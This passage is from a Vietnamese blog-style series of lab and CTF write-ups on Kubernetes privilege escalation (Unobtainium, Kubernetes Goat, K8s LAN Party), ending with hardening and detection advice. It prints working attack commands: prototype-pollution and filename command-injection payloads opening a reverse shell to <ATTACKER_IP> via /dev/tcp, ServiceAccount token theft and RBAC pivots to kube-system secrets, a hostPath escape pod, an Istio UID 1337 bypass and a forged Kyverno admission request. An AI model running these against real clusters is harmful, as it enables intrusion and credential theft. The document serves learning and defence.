→ RCE tiếp vào devnode container
→ Lấy dev ServiceAccount token
→ dev token có quyền get/list secrets trong kube-system
→ Đọc c-admin service account token
→ c-admin có quyền *.* [*]
→ Tạo malicious pod mount hostPath /
→ Đọc root.txt / kiểm soát host filesystem

Điểm cần học cho đề tài VDT:

• ServiceAccount token trong pod là credential thật để gọi Kubernetes API.
• RBAC theo namespace có thể tạo đường pivot: token A không mạnh ở namespace default, nhưng lại có quyền hữu ích ở namespace dev.
• Quyền get/list secrets trong kube-system cực kỳ nguy hiểm, vì có thể đọc token của ServiceAccount mạnh hơn.
• Sau khi có token admin, kỹ thuật kết thúc giống SteamCloud: tạo pod mount filesystem host.

2. Recon Kubernetes

Nmap thấy nhiều port quen thuộc của Kubernetes/minikube:

22/tcp     ssh
80/tcp     web
2379/tcp   etcd-client
2380/tcp   etcd-server
8443/tcp   Kubernetes API Server
10250/tcp  Kubelet API
10256/tcp  kube-proxy healthz
31337/tcp  Node.js Express API

Port 8443 trả JSON kiểu Kubernetes API và báo system:anonymous bị forbidden, xác nhận đây là API Server:

forbidden: User "system:anonymous" cannot get path "/"

3. Phần RCE ban đầu - ghi sơ

Bài gốc có phần reverse Electron package để lấy source/credential. Sau đó tìm được API Node.js có logic upload bị ảnh hưởng bởi prototype pollution.

Ý tưởng ngắn:

1. Dùng credential hợp lệ để gửi message.
2. Prototype pollution set canUpload: true.
3. Route /upload gọi command xử lý file nhưng nối filename không an toàn.
4. Inject command qua filename để có RCE.

Payload bật quyền upload:

curl -X PUT http://10.10.10.235:31337/ \
  -H 'Content-Type: application/json' \
  -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"test":"x","__proto__":{"canUpload":true}}}'

Payload command injection để reverse shell:

curl -X POST http://10.10.10.235:31337/upload \
  -H 'Content-Type: application/json' \
  -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"x; bash -c \"bash >& /dev/tcp/<ATTACKER_IP>/443 0>&1\""}'

Nhận shell trong pod webapp:

root@webapp-deployment-...:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)

Lưu ý: root ở đây vẫn là root trong container, chưa phải root của node.

4. Lấy token trong webapp container

Trong pod, kiểm tra ServiceAccount token:

ls /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /run/secrets/kubernetes.io/serviceaccount/namespace

Các file thường gặp:

ca.crt
namespace
token

Lưu token ra máy attacker, ví dụ:

cat /run/secrets/kubernetes.io/serviceaccount/token > default-token
cat /run/secrets/kubernetes.io/serviceaccount/ca.crt > ca.crt

Dùng token gọi API Server:

kubectl --token $(cat default-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt \
  get pods --all-namespaces

Ban đầu bị forbidden với pods toàn cluster, nhưng phản hồi này vẫn chứng minh token dùng được với API Server.

5. Enumerate RBAC với token default

Kiểm tra quyền trong namespace hiện tại:

kubectl auth can-i --list \
  --token $(cat default-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Token default có quyền đáng chú ý:

namespaces    [get list]

List namespace:

kubectl get namespaces \
  --token $(cat default-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Kết quả có namespace dev:

default
_dev_
kube-node-lease
kube-public
kube-system

Kiểm tra quyền theo namespace:

kubectl auth can-i --list -n dev \
  --token $(cat default-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Trong namespace dev, token default có thêm quyền:

namespaces    [get list]
pods          [get list]

Đây là pivot đầu tiên: token không tạo được pod, không đọc secret, nhưng có thể liệt kê pod ở namespace dev.

6. Tìm pod devnode trong namespace dev

List pod trong namespace dev:

kubectl get pods -n dev \
  --token $(cat default-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Kết quả có các pod dạng:

devnode-deployment-cd86fb5c-6ms8d
devnode-deployment-cd86fb5c-mvrfz
devnode-deployment-cd86fb5c-qlxww

Describe pod để lấy IP/container/image:

kubectl describe pod devnode-deployment-cd86fb5c-qlxww -n dev \
  --token $(cat default-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Thông tin đáng chú ý:

Namespace: dev
IP: 172.17.0.4
Image: localhost:5000/node_server
Port: 3000/TCP
Mounts: /var/run/secrets/kubernetes.io/serviceaccount

Từ shell webapp container có thể reach pod devnode qua IP nội bộ. Scan/ping thấy port 3000 mở.

7. RCE sang devnode container

Ứng dụng ở devnode chạy cùng code/vuln Node.js nên có thể dùng lại chain prototype pollution + command injection.

Từ webapp container, bật canUpload trên devnode:

curl -X PUT http://172.17.0.3:3000/ \
  -H 'Content-Type: application/json' \
  -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"test":"x","__proto__":{"canUpload":true}}}'

Inject reverse shell:

curl -X POST http://172.17.0.3:3000/upload \
  -H 'Content-Type: application/json' \
  -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"x; bash -c \"bash >& /dev/tcp/<ATTACKER_IP>/443 0>&1\""}'

Nhận shell mới:

root@devnode-deployment-cd86fb5c-6ms8d:/# id
uid=0(root) gid=0(root) groups=0(root)

Kiểm tra namespace của pod mới:

cat /run/secrets/kubernetes.io/serviceaccount/namespace

Kết quả:

dev

8. Lấy dev token và kiểm tra RBAC

Lấy token trong devnode:

cat /run/secrets/kubernetes.io/serviceaccount/token > dev-token

Kiểm tra quyền token này:

kubectl auth can-i --list \
  --token $(cat dev-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Ở namespace dev không có gì quá mạnh. Nhưng khi kiểm tra namespace kube-system:

kubectl auth can-i --list -n kube-system \
  --token $(cat dev-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Phát hiện quyền cực kỳ quan trọng:

secrets    [get list]

Đây là lỗi RBAC chính của bài: ServiceAccount trong namespace dev lại có quyền đọc secrets trong kube-system.

9. Đọc ServiceAccount token mạnh hơn trong kube-system

List secrets trong kube-system:

kubectl get secrets -n kube-system \
  --token $(cat dev-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Trong danh sách có secret đáng chú ý:

c-admin-token-tfmp2    kubernetes.io/service-account-token

Describe secret để lấy token:

kubectl describe secret c-admin-token-tfmp2 -n kube-system \
  --token $(cat dev-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Secret này thuộc ServiceAccount:

kubernetes.io/service-account.name: c-admin

Lưu token admin ra file:

# copy phần token trong output vào file
nano cadmin-token

Hoặc dùng jsonpath nếu API trả đủ data:

kubectl get secret c-admin-token-tfmp2 -n kube-system \
  --token $(cat dev-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt \
  -o jsonpath='{.data.token}' | base64 -d > cadmin-token

10. Xác nhận quyền admin

Kiểm tra quyền của cadmin-token:

kubectl auth can-i --list \
  --token $(cat cadmin-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Kết quả quan trọng:

*.*    []    []    [*]
[*]    []    [*]

Nghĩa là token này có quyền full admin trên cluster.

Có thể list pods toàn cluster:

kubectl get pods --all-namespaces \
  --token $(cat cadmin-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

11. Tìm image local để tạo malicious pod

Vì box không có internet, không nên dùng image từ Docker Hub. Tìm image đang có sẵn trong cluster:

kubectl get pods --all-namespaces \
  --token $(cat cadmin-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Dump YAML từng pod để tìm image:

kubectl get pod <pod-name> -o yaml -n <namespace> \
  --token $(cat cadmin-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt | grep 'image:'

Các image có sẵn:

localhost:5000/dev-alpine
localhost:5000/node_server

Chọn localhost:5000/dev-alpine vì nhẹ và có shell.

12. Tạo malicious pod mount filesystem host

Tạo root.yaml:

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
  namespace: kube-system
spec:
  containers:
  - name: evil
    image: localhost:5000/dev-alpine
    command: ["/bin/sh"]
    args: ["-c", "sleep 300000"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Giải thích:

• namespace: kube-system: đã có admin nên có thể tạo pod ở namespace nhạy cảm.
• image: localhost:5000/dev-alpine: dùng image local có sẵn.
• hostPath.path: /: mount root filesystem của node.
• mountPath: /mnt: trong container, host filesystem nằm ở /mnt.
• sleep 300000: giữ container sống để còn kubectl exec vào.
• hostNetwork: true: dùng network namespace của host.

Apply pod:

kubectl apply -f root.yaml \
  --token $(cat cadmin-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt

Exec vào pod:

kubectl exec evil-pod --stdin --tty -n kube-system \
  --token $(cat cadmin-token) \
  --server https://10.10.10.235:8443 \
  --certificate-authority ca.crt \
  -- /bin/sh

Đọc root flag:

cd /mnt/root
cat root.txt

13. Điểm khác với SteamCloud

14. Bài học RBAC cho đề tài VDT

Unobtainium minh họa rất rõ một chuỗi leo thang kiểu thực tế:

Pod compromise
→ đọc ServiceAccount token
→ kiểm tra RBAC từng namespace
→ tìm namespace có quyền khác thường
→ pivot sang workload khác
→ lấy token mới
→ đọc secrets nhạy cảm
→ chiếm ServiceAccount admin
→ tạo pod độc hại
→ host filesystem access

Các lỗi cấu hình chính:

• Pod được tự động mount ServiceAccount token dù app không chắc cần gọi API Server.
• ServiceAccount default có quyền list namespace và list pods ở dev, giúp attacker khám phá lateral movement path.
• ServiceAccount ở dev có quyền get/list secrets trong kube-system, đây là quyền cực kỳ nguy hiểm.
• Secret kiểu kubernetes.io/service-account-token chứa token có thể dùng ngay để impersonate ServiceAccount tương ứng.
• Không có policy chặn pod mount hostPath: /.

15. Hardening / Detection

Hardening nên ghi vào báo cáo:

• Không dùng ServiceAccount default cho workload thật.
• Tắt mount token nếu app không cần:

automountServiceAccountToken: false

• RBAC least privilege theo namespace, không cấp get/list secrets trừ khi thật sự cần.
• Tuyệt đối hạn chế quyền đọc secrets trong kube-system.
• Dùng short-lived bound tokens thay vì long-lived ServiceAccount token secret nếu có thể.
• Bật Pod Security Admission/Kyverno/Gatekeeper để chặn:
  • hostPath mount /
  • hostNetwork: true
  • privileged: true
  • pod chạy root không cần thiết
• Audit API Server cho các hành vi:
  • get/list secrets trong kube-system
  • describe/get secret *-token-*
  • tạo pod mới có hostPath
  • kubectl exec bất thường
• Falco/Tetragon rule nên chú ý:
  • Process trong container đọc /run/secrets/kubernetes.io/serviceaccount/token.
  • Container mount host root filesystem.
  • Shell được spawn trong container ứng dụng.

16. Takeaway

Unobtainium là ví dụ hay hơn SteamCloud cho phần leo thang đặc quyền theo chuỗi RBAC. Attacker không có quyền admin ngay từ đầu, nhưng bằng cách đọc token trong pod, kiểm tra quyền theo từng namespace, pivot sang pod khác và lạm dụng quyền đọc secrets trong kube-system, cuối cùng vẫn lấy được token admin và tạo pod mount filesystem host.

Kết thúc

Thì đây là các bài lab mà tui học được trong quá trình tìm hiểu về kĩ thuật khai thác leo thang đặc quyền trên K8s , thì chủ yếu đều khai thác do misconfig và lỗi RBAC cấp quyền quá rộng. Qua đó có thể thấy rằng nếu trong môi trường thực tế , các lỗ hổng đôi khi không đến từ các zero-day mà đến từ bản thân con người. Hôm nay tới đây thui, hẹn các bạn ở bài sắp tới !!!!.

Dựng cluster bằng Kind

curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.31.0/kind-linux-amd64
chmod +x ./kind
sudo mv ./kind /usr/local/bin/kind
kind version

Cài kubectl

sudo apt install -y kubernetes-client
kubectl version --client

Tạo cluster

kind create cluster --name goat
kubectl get nodes

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
chmod +x setup-kubernetes-goat.sh access-kubernetes-goat.sh
bash setup-kubernetes-goat.sh
kubectl get pods
bash access-kubernetes-goat.sh

Bài 1 : Gaining enviroment information

Bài đầu tiên là enum để tìm ra các cred của hệ thống

 Hầu hết các phiên bản điện toán khi chạy ứng dụng đều lưu trữ thông tin nhạy cảm như secrets, api_keys, v.v. trong các biến môi trường. Tương tự, trong Kubernetes, hầu hết mọi người lưu trữ thông tin nhạy cảm như Kubernetes Secrets và các giá trị Config trong các biến môi trường và nếu kẻ tấn công có thể tìm thấy các lỗ hổng ứng dụng như RCE (thực thi mã từ xa) hoặc chèn lệnh thì bí mật đó sẽ bị lộ.

Trước tiên thì t enum bằng các lệnh cơ bản

oot@system-monitor-deployment-866f697c75-67qj4:/# env
KUBERNETES_SERVICE_PORT_HTTPS=443
SYSTEM_MONITOR_SERVICE_SERVICE_PORT=8080
BUILD_CODE_SERVICE_PORT_3000_TCP_PROTO=tcp
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_PORT=80
KUBERNETES_SERVICE_PORT=443
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PORT=80
HOSTNAME=system-monitor-deployment-866f697c75-67qj4
BUILD_CODE_SERVICE_PORT=tcp://10.96.99.17:3000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_ADDR=10.96.59.36
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP=tcp://10.96.59.36:8080
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP=tcp://10.96.78.20:5000
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PROTO=tcp
HEALTH_CHECK_SERVICE_PORT_80_TCP=tcp://10.96.17.194:80
BUILD_CODE_SERVICE_PORT_3000_TCP_PORT=3000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT=tcp://10.96.78.20:5000
POOR_REGISTRY_SERVICE_PORT_5000_TCP_ADDR=10.96.58.92
HEALTH_CHECK_SERVICE_PORT_80_TCP_ADDR=10.96.17.194
INTERNAL_PROXY_API_SERVICE_PORT=tcp://10.96.185.85:3000
PWD=/
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_ADDR=10.96.78.20
HEALTH_CHECK_SERVICE_PORT=tcp://10.96.17.194:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP=tcp://10.96.139.85:80
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_PROTO=tcp
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PORT=8080
POOR_REGISTRY_SERVICE_SERVICE_PORT=5000
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_PROTO=tcp
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PROTO=tcp
HOME=/root
BUILD_CODE_SERVICE_SERVICE_PORT=3000
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
LS_COLORS=
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_PORT=5000
HEALTH_CHECK_SERVICE_PORT_80_TCP_PROTO=tcp
INTERNAL_PROXY_INFO_APP_SERVICE_SERVICE_HOST=10.96.78.20
HEALTH_CHECK_SERVICE_SERVICE_HOST=10.96.17.194
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PORT=5000
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PROTO=tcp
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PORT=3000
BUILD_CODE_SERVICE_PORT_3000_TCP_ADDR=10.96.99.17
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_ADDR=10.96.185.85
SYSTEM_MONITOR_SERVICE_PORT=tcp://10.96.59.36:8080
SHLVL=1
BUILD_CODE_SERVICE_SERVICE_HOST=10.96.99.17
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
HEALTH_CHECK_SERVICE_PORT_80_TCP_PORT=80
INTERNAL_PROXY_API_SERVICE_SERVICE_PORT=3000
SYSTEM_MONITOR_SERVICE_SERVICE_HOST=10.96.59.36
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP=tcp://10.96.185.85:3000
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_HOST=10.96.139.85
KUBERNETES_SERVICE_HOST=10.96.0.1
INTERNAL_PROXY_API_SERVICE_SERVICE_HOST=10.96.185.85
KUBERNETES_GOAT_HOME_SERVICE_PORT=tcp://10.96.139.85:80
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
BUILD_CODE_SERVICE_PORT_3000_TCP=tcp://10.96.99.17:3000
HEALTH_CHECK_SERVICE_SERVICE_PORT=80
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP_ADDR=10.96.139.85
POOR_REGISTRY_SERVICE_SERVICE_HOST=10.96.58.92
POOR_REGISTRY_SERVICE_PORT_5000_TCP=tcp://10.96.58.92:5000
POOR_REGISTRY_SERVICE_PORT=tcp://10.96.58.92:5000
_=/usr/bin/env

• Mình đang là root trong container, chưa có nghĩa là root của node.
• Pod hiện tại: system-monitor-deployment-866f697c75-67qj4.
• Kubernetes API server: 10.96.0.1:443 hoặc DNS kubernetes.default.svc.
• Có nhiều service nội bộ: build-code, internal-proxy, poor-registry, health-check.

• Có một secret lộ ngay trong env:

  K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c3

Đây có vẻ là flag của bài

• Có thư mục đáng nghi:

  /host-system

Pod này có service account token được mount có namespace là default

-> Từ trong container này , ta có thể dùng identity của SA được gắn cho pod này.

Chúng ta có thể khám phá container bằng cách chạy các lệnh khác nhau để có thể enum để có thể hiểu hơn về hệ thống

Chúng ta có thể get the container runtime bằng cách chạy những lệnh sau

cat /proc/self/cgroup

Get the information of the container host

cat /etc/hosts/

Get the mount information

mount

 Access the environment variables, including Kubernetes secrets mounted and service names, ports, etc

printenv

Chúng ta qua bài tiếp theo là

K8s namespace bypass

Đây là một quan niệm sai lầm lớn trong thế giới Kubernetes. Hầu hết mọi người cho rằng khi có các namespace khác nhau trong Kubernetes và các tài nguyên được triển khai và quản lý, chúng sẽ an toàn và không thể truy cập lẫn nhau

Theo mặc định K8S sử dụng lược đồ mạng phẳng , có nghĩa là các pod/service trong 1 cluster có thể nói chuyện với nhau. Mà namespace ở trong cluster không có sự hạn chế bảo mật mạng theo mặt định. Anyone ở trong namespace đều có thể nói chuyện với namespacce khác . Trong trường hợp sau đây thì chúng ta có thể bypass namespace để có thể truy cập tài nguyen của namespace khác

truy cập vào bài lab

Đầu tiên chúng ta cần phải hiểu về thông tin địa chỉ IP của cluster để có thể tiến hành recon quét các dãy mạng của cluster

Một số lệnh cơ bản để có thể xem là : ip route , ifconfig , printenv,…

Pod IP: 10.244.0.15 Pod CIDR route: 10.244.0.0/24 Kubernetes DNS: 10.96.0.10 Service network thấy qua env: 10.96.x.x DNS search: default.svc.cluster.local svc.cluster.local cluster.local

RBAC đã chặn ko cho t đọc service rồi

Vì bài gợi ý “Kubernetes-Goat loves cache”, ta nghi có cache service. Cache thường là Redis hoặc Memcached. Redis dùng port 6379.

zmap mặc định blacklist private ranges, trong đó có 10.0.0.0/8, nên nó tự chặn không cho scan. Vì vậy bạn bỏ đoạn đó và scan redis port để tìm được dãy mạng của redis

1. Ngoài scan IP, Kubernetes còn hỗ trợ DNS service theo dạng:

<service-name>.<namespace>.svc.cluster.local

nên ta phân giải được tên miền chứng tỏ rằng  từ pod namespace default, bạn có thể resolve được service ở namespace secure-middleware. Giờ test port Redis:

• Namespace default và secure-middleware khác nhau.
• Nhưng pod hacker-container vẫn truy cập được Redis service namespace khác.
• Lý do: Kubernetes mặc định flat network, namespace không tự tạo network isolation.
• Cách phòng thủ: dùng NetworkPolicy, auth cho Redis/cache, không tin “internal only”.

RBAC least privileges misconfiguration

Trong thực tế, chúng ta thường thấy các nhà phát triển và nhóm DevOps cấp quyền dựa trên tư duy mặc định cho tất cả vì nghĩ rằng nó sẽ tiện lợi , tức là cấp quyền nhiều hơn mức cần thiết. Điều này dẫn đến việc kẻ tấn công có được nhiều quyền kiểm soát và đặc quyền vượt ngoài phạm vị mà họ dự định.

Mục tiêu bài này là Dùng service account trong pod để gọi Kubernetes API Lợi dụng RBAC quá rộng Đọc secret k8svaultapikey Lấy k8s_goat_flag

Trước khi vào bài thì tui muốn nói sơ về khái niệm về ServiceAccount cũng như RBAC

1. Xác định service account token

2. Set biến để gọi API server

export APISERVER=https://${KUBERNETES_SERVICE_HOST} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

3. Recon quyền bằng REST API

List secret trong namespace hiện tại:

curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/secrets

Decode ra thì lấy được flag

1. Pod có Kubernetes identity riêng
   Pod thường được gắn một ServiceAccount. Token của ServiceAccount nằm trong:

/var/run/secrets/kubernetes.io/serviceaccount/

1. Có shell trong pod là có thể gọi Kubernetes API
   Nếu attacker có RCE/shell trong container, họ có thể lấy token đó rồi gọi API server:

https://${KUBERNETES_SERVICE_HOST}

1. RBAC quyết định pod được làm gì trong cluster
   Token không tự nguy hiểm nếu RBAC chặt. Nhưng nếu ServiceAccount được cấp quyền quá rộng, attacker có thể list/get tài nguyên nhạy cảm.

2. Secret trong Kubernetes chỉ an toàn nếu quyền đọc được kiểm soát tốt
   Trong bài này, ServiceAccount đáng lẽ chỉ cần quyền với webhookapikey, nhưng lại đọc được cả vaultapikey.

3. Least privilege rất quan trọng
   Đây là lỗi thực tế hay gặp: DevOps cấp quyền “cho tiện”, ví dụ get/list secrets, rồi một pod bị compromise có thể biến thành credential theft trong cluster.

Buổi 2 : K8s Lan Party

Đến với bài đầu tiên thì t sẽ làm 1 chall về Recon , thì như bạn nào đã từng làm các bài lab về leo thang thì việc đầu tiên để có thể leo thang được thì chúng ta cần phải recon hoặc enum để có thêm 1 vài attack surfaces , nó giúp ích cho chúng ta trong các bước nâng cao đặc quyền tiếp theo .

Trong bài lab này , khi mà t đã compomise vào 1 Pod trong K8s , và bước tiếp theo là muốn khám phá thêm các internal service để có thể mở rộng phạm vi leo thang.

Thông thường K8s , các service thường liên lạc với nhau qua DNS nội bộ.

Hai loại thành phần chính của Kubernetes mà bạn sẽ quan tâm nhất khi muốn tấn công các ứng dụng khác có thể truy cập được trên mạng trong cụm là pod và service .

Pod là các nhóm gồm một hoặc nhiều container đang chạy, và đây là nơi các ứng dụng mạng nội bộ mà bạn muốn tấn công sẽ hoạt động. Mỗi Pod có địa chỉ IP internal cluster được liên kết với chúng, và có một hoặc nhiều cổng mạng được công khai mà bạn có thể sử dụng để giao tiếp với các ứng dụng mạng.

Các service là những cách thức thân thiện để hiển thị các ứng dụng đang chạy trên một hoặc nhiều pod. Chúng cũng có địa chỉ IP của cluster và một hoặc nhiều cổng được hiển thị, cũng như nhiều bản ghi DNS liên kết được cấu hình trong trình phân giải DNS của cụm. Việc truy cập ứng dụng bằng dịch vụ so với truy cập trực tiếp vào pod thường tương tự nhau, tuy nhiên các service có thêm các tính năng khám phá có thể hữu ích cho chúng ta.

Địa chỉ IP được sử dụng cho các pod thường nằm trong một dải mạng riêng biệt, khác với địa chỉ IP của các dịch vụ.

Giờ chúng ta đã xác định được những gì mình cần tìm, hãy cùng xem xét một số phương pháp có thể sử dụng để xác định các thành phần này.

Đầu tiên chúng ta sẽ kiểm tra các biến môi trường , chúng thường chứa địa chỉ ip ,port của các service khác trong cluster .

Ngoài ra bạn có thể lấy địa chỉ IP của cụm là các tệp /etc/hosts(cung cấp địa chỉ IP cục bộ của pod, mà bạn cũng có thể lấy từ các lệnh iphoặc ifconfig) và /etc/resolv.conf(cung cấp địa chỉ máy chủ DNS của cụm và các miền tìm kiếm DNS, từ đó suy ra namespace của pod).

Ngoài ra bạn cũng có thể lấy các SA token của pod hoặc ra tìm các namespace của pod đang chạy . https://thegreycorner.com/2023/12/13/kubernetes-internal-service-discovery.html#kubernetes-dns-to-the-partial-rescue

Tiếp tục với bài này thì chúng ta có thể sử dụng 1 cái tool dnscan https://gist.github.com/nirohfeld/c596898673ead369cb8992d97a1c764e để có thể quét

Khi chúng ta kiểm tra bằng env thì có thể thấy rằng IP của API server của K8s là 10.100.0.1 port là 443

kết quả Hostname: getflag-service.k8s-lan-party.svc.cluster.local.

Cái tên “getflag-service” chính là nơi chứa Flag hoặc mã để vượt qua thử thách này.

Tới phần tiếp theo là phần finding neighbour

Thì theo như mình tìm hiểu sidecar container là một container chạy “kèm” theo container chính trong cùng một Pod.

• Mục đích: Nó không thực hiện logic chính của ứng dụng mà cung cấp các dịch vụ hỗ trợ như: ghi log, giám sát, hoặc bảo mật

Vì các container nằm trong cùng một Kubernetes Pod sẽ dùng chung một network namespace, chúng sẽ chia sẻ hoàn toàn giao diện mạng (network interfaces), loopback adapter (localhost) và địa chỉ IP với nhau.

Nếu có một container khác đang chạy ngầm ngay bên cạnh bạn trong Pod này, mọi dữ liệu mạng mà nó gửi hoặc nhận với các dịch vụ nội bộ đều có thể xem từ chính container của bạn.

tcpdump -A

Và đây là flag

Hãy đảm bảo rằng giao tiếp giữa các Pod luôn được mã hóa. Cách đơn giản nhất để bắt đầu mã hóa giao tiếp giữa các Pod là sử dụng service mesh .

giao thức này ra đời từ thời kỳ mà kiểm soát truy cập (access control) chỉ dựa vào mạng ,nghĩa l à mình ko cần xác thực bằng thông tin đăng nhập . Tui tham khảo trên mạng thì nghĩ ngay tới NFS , hoặc AWS EFS

Dùng công cụ NFS Client để “bypass” quyền

Trong môi trường này có sẵn công cụ nfs-ls và nfs-cat (thuộc bộ libnfs). Giao thức NFSv4 cho phép chúng ta truyền tham số uid=0 (Root) và gid=0 trực tiếp qua chuỗi kết nối để ép server nhận diện mình là Root

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: istio-get-flag
  namespace: k8s-lan-party
spec:
  action: DENY
  selector:
    matchLabels:
      app: "{flag-pod-name}"
  rules:
  - from:
    - source:
        namespaces: ["k8s-lan-party"]
    to:
    - operation:
        methods: ["POST", "GET"]

https://pulsesecurity.co.nz/advisories/istio-egress-bypass?source=post_page—–c773190e9246—————————————

Phương pháp bỏ qua này cho phép bất kỳ người dùng nào có userID 1337 đều có thể bypass bộ lọc proxy của Istio, từ đó kích hoạt chính sách ủy quyền. May mắn thay, lần này chúng ta là người dùng root trong hệ thống, nghĩa là chúng ta có thể tạo một người dùng khác và đặt userID là 1337.

Đầu tiên chạy dns scan

Kyverno là công cụ quản lý chính sách (Policy Engine) dành riêng cho Kubernetes, giúp bạn xác thực, chỉnh sửa và khởi tạo tài nguyên bằng ngôn ngữ YAML quen thuộc. Thay vì học ngôn ngữ phức tạp, Kyverno cho phép đội ngũ DevOps tự động hóa việc bảo mật và chuẩn hóa cấu hình cluster một cách đơn giản, hiệu quả và cực kỳ gọn nhẹ.

Dựa trên chall chính sách này đang thực hiện tính năng Mutation: tự động chèn giá trị bí mật (secret) vào biến môi trường FLAG cho bất kỳ Pod nào được tạo trong namespac

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

Vì tôi mình biết về admission controllers and mutating webhooks, nên mình ngay lập tức hiểu được kỳ vọng. Dưới đây là sơ đồ mô tả cách thức hoạt động.

cat <<EOF > pod.json
{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "00000000-0000-0000-0000-000000000000",
    "kind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "resource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "subResource": "",
    "requestKind": {
      "group": "",
      "version": "v1",
      "kind": "Pod"
    },
    "requestResource": {
      "group": "",
      "version": "v1",
      "resource": "pods"
    },
    "requestSubResource": "",
    "name": "sensitive-pod",
    "namespace": "sensitive-ns",
    "operation": "CREATE",
    "userInfo": {
      "username": "kubernetes-admin",
      "groups": [
        "system:masters",
        "system:authenticated"
      ]
    },
    "object": {
      "apiVersion": "v1",
      "kind": "Pod",
      "metadata": {
        "name": "sensitive-pod",
        "namespace": "sensitive-ns",
        "labels": {
          "app": "nginx"
        }
      },
      "spec": {
        "containers": [
          {
            "name": "nginx",
            "image": "nginx:latest"
          }
        ]
      }
    },
    "oldObject": null,
    "dryRun": false,
    "options": {
      "kind": "CreateOptions",
      "apiVersion": "meta.k8s.io/v1"
    }
  }
}
EOF

Bước 2: Gửi request đến Kyverno Webhook

Bây giờ cấu trúc đã chuẩn hóa, bạn chạy lệnh curl này để ép Kyverno trả flag

curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k

Trong cụm Kubernetes này, quản trị viên dùng Kyverno để tự động hóa một việc:

• Họ cài một chính sách (Policy) quy định: “Bất kỳ ai tạo một Pod (vùng chứa ứng dụng) nằm trong namespace tên là sensitive-ns, Kyverno sẽ tự động chèn thêm một biến môi trường chứa Flag bí mật vào Pod đó”.

